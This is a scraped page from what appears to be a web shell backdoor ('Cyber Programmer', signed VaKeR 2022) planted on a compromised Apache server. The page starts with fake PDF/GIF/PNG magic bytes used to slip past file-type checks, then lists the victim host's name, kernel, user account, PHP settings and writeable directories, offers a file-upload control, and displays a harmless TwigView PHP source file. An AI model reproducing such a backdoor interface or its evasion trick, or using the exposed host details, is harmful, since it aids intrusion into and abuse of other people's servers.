%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/public_html/vendor/wyrihaximus/twig-view/src/Lib/Twig/Extension/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/public_html/vendor/wyrihaximus/twig-view/src/Lib/Twig/Extension/View.php
<?php

/**
 * This file is part of TwigView.
 *
 ** (c) 2014 Cees-Jan Kiewiet
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */
namespace WyriHaximus\TwigView\Lib\Twig\Extension;

use Cake\View\View as CakeView;

/**
 * Class View
 * @package WyriHaximus\TwigView\Lib\Twig\Extension
 */
// @codingStandardsIgnoreStart
class View extends \Twig_Extension
// @codingStandardsIgnoreEnd
{
    /**
     * View to call methods upon.
     *
     * @var CakeView
     */
    protected $view;

    /**
     * Constructor.
     *
     * @param CakeView $view View instance.
     */
    public function __construct(CakeView $view)
    {
        $this->view = $view;
    }

    /**
     * Get declared functions.
     *
     * @return \Twig_SimpleFunction[]
     */
    public function getFunctions()
    {
        return [
            new \Twig_SimpleFunction('elementExists', function ($name) {
                return $this->view->elementExists($name);
            }),
            new \Twig_SimpleFunction('getVars', function () {
                return $this->view->getVars();
            }),
            new \Twig_SimpleFunction('get', function ($var, $default = null) {
                return $this->view->get($var, $default);
            }),
        ];
    }

    /**
     * Get extension name.
     *
     * @return string
     */
    public function getName()
    {
        return 'view';
    }
}

VaKeR 2022